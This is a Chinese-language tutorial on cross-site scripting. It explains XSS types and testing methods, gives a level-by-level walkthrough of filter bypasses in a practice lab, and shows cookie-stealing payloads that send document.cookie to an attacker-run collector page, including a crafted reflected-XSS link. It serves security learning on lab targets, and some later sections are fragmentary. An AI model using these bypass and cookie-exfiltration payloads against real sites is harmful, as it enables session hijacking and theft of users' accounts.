1.XSS跨站脚本介绍
跨站脚本(Cross-Site Scripting ,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞
XSS漏洞是出现再客户端的漏洞
是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包 括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的 恶意代码,对受害者可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
. xss漏洞最常见的攻击方式就是获取目标的cookie信息
. cookie:用于记录用户的一些信息;比如:登录状态,浏览记录等
C:\Users\sunny\AppData\Roaming\Mozilla\Firefox\Profiles |
. sql注入,注入的是sql语句 . 闭合的是是sql语句
. xss注入的是前端代码JS,闭合的也是前端代码,常见的html标签,让我们插入的标签生效 . 拿到cookie,要保证对方不退出,如果对方退出系统, cookie将失效
XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。 比如说:论坛或者谋篇文章下面留言,登录之后才允许评论,你的评论其他网友可以看到
<script>alert(1)</script> |
攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏 览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄运行,流程如图所示:
攻击者先发起XSS攻击,注入恶意代码
. 然后诱导其他用户去访问含有js代码的的网站,然后网页中的js代码就会被执行
造成用户信息的泄露
测试xss ,只需弹框即可证明,不要构造真实的攻击代码
XSS漏洞一直被认为是web安全中危害较大的漏洞, 在owasp一直处于top3。而在对sql注入防范越来越 严密的今天, xss也成了绝大部分黑客更喜欢的漏洞利用方式。 XSS漏洞是发生在WEB前端的漏洞,所以 危害面及广,任何用户在访问前端时都可能中招。
XSS的本质就是前端代码注入。
注入攻击的本质,是把用户输入的数据当做代码执行。 这里有两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据 那么XSS主要拼接的是什么?
SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出 合适的HTML代码去执行恶意的JS语句。
总结:xss就是拼接恶意的HTML
2.XSS分类
反射型XSS
你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击
存储型XSS
你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发
DOM型XSS
主要利用DOM相关的操作,修改了页面,引发的惨案
XSS的危害
1.网络钓鱼,包括盗取各类用户账号;
2.窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
4.强制弹出广告页面、刷流量等; 5.网页挂马;
6.进行恶意操作,例如任意篡改页面信息、删除文章等; 7.进行大量的客户端攻击,如DDoS攻击;
8.结合其他漏洞,如CSRF漏洞,实施进一步作恶; 9.传播跨站脚本蠕虫等。
4.XSS漏洞的黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下
面这些:
URL的每一个参数、URL本身、表单、搜索框、常见业务场景
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
5.XSS漏洞的白盒测试
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP中常见的接收参数的方式有$GET、$POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后 对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和 html编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库 中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过 滤,能否绕过等等
靶场思路
第一关:
<script>alert(1)</script> |
第二关:
<script>alert(1)</script> |
尝试闭合标签
"><script>alert(1)</script> |
第三关:
<script>alert(1)</script> |
发现标签被实体化
<input |
name=keyword |
value='<script>alert(1)</script>'> |
. 尝试事件, onfocus
' onfocus='alert(1) |
第四关:
<script>alert(1)</script> |
还是过滤尖括号 尝试事件绕过
" onfocus="alert(1) |
第五关:
<script>alert(1)</script> |
尝试大小写绕过,发现还是不行
<ScRIpt>alert(1)</ScRIpt> |
事件,发现也存在过滤
尝试伪协议
"><a href="javascript:alert(1)">点我</a> <a href="javascript:alert(1)">点我</a> |
第六关:
<script>alert(1)</script> |
还是被过滤
script => scr_ipt |
尝试大小写绕过
"><SCrIpt>alert(1)</SCrIpt> |
第七关:
<script>alert(1)</script> |
还是被过滤script 尝试双写绕过
"><scrscriptipt>alert(1)</scriscriptpt> |
第八关:
<script>alert(1)</script> |
过滤了script=> scr_ipt
查看源码发现传入的内容在href里面
<a href="javascr_ipt:alert(1)"> |
所以,尝试了为协议,也被过滤
javascript:alert(1) ==> javascr_ipt:alert(1) |
判断过滤了哪些字符,发现全部被过滤
s rc onfocus script onerror javascript |
考虑编码绕过, unicode
在线网站:Unicode编码转换 | Unicode在线转换 —在线工具
javascript:alert(1)编码 javascript:ale&# 114;t(1) |
第九关部分绕过
javascript:alert(‘xsshttp://’)
javascript:alert('http://')
XSS偷cookie
前期准备
. 被攻击者网站: http://www.pikachu001.com/
. 黑客部署的网站: http://www.pkxss.com/
. 获取cookie信息文件在哪: http://www.pkxss.com/xcookie/cookie.php o cookie.php,需要get将cookie内容传过来
所以要让受害者去访问http://www.pkxss.com/xcookie/cookie.php?cookie=1231321
找xss漏洞,将代码插入到目标网站
<script>document.location='http://www.pkxss.com/xcookie/cookie.php? cookie='+document.cookie</script> //注意,符号+,要改成%2b |
受害者执行完之后,会重定向到我们设置的安全网站
这个时候受害者执行js代码之后,就会将cookie,发送到目标服务器上,目标服务器用cookie.php 接收cookie信息
cookie收集
重定向到另一个可信网址 让点击者 不知情。
注意这个地方这个cookie.php的文件位置,我们要访问这个收集cookie的文件路径应该是:
http://主机地址/pkxss/xcookie/cookie.php |
我们可以构建一个偷cookie的payload:
<script> document.location = 'http://主机地址/pkxss/xcookie/cookie.php? cookie='+document.cookie; </script> |
接下来在反射性XSS中试一试:
获得的结果:
也可以get反射型XSS构建一个欺骗用户点击的链接:
http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img s rc=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php? cookie='+document.cookie;">&submit=submit |
注意: +会被过滤 , 用%2B来替换
http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img s rc=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php? cookie='%2Bdocument.cookie;">&submit=submit |
访问之后:




Level 13
网页源码:
抓包测试:
在cookie的值中进行构造语句:
弹窗:
Level 17
网页源码:
弹窗代码测试:
onclick事件测试:
页面响应中显示该swf文件区域:
最后总结:
<script>
和<style>
数据只能有文本,不会有HTML解码和URL解码操作<textarea>
和<title>
里会有HTML解码操作,但不会有子元素其他元素数据(如
div
)和元素属性数据(如href
)中会有HTML解码操作部分属性(如
href
)会有URL解码操作,但URL中的协议需为ASCIIJavaScript会对字符串和标识符Unicode解码
根据浏览器的自动解码,反向构造 XSS Payload 即可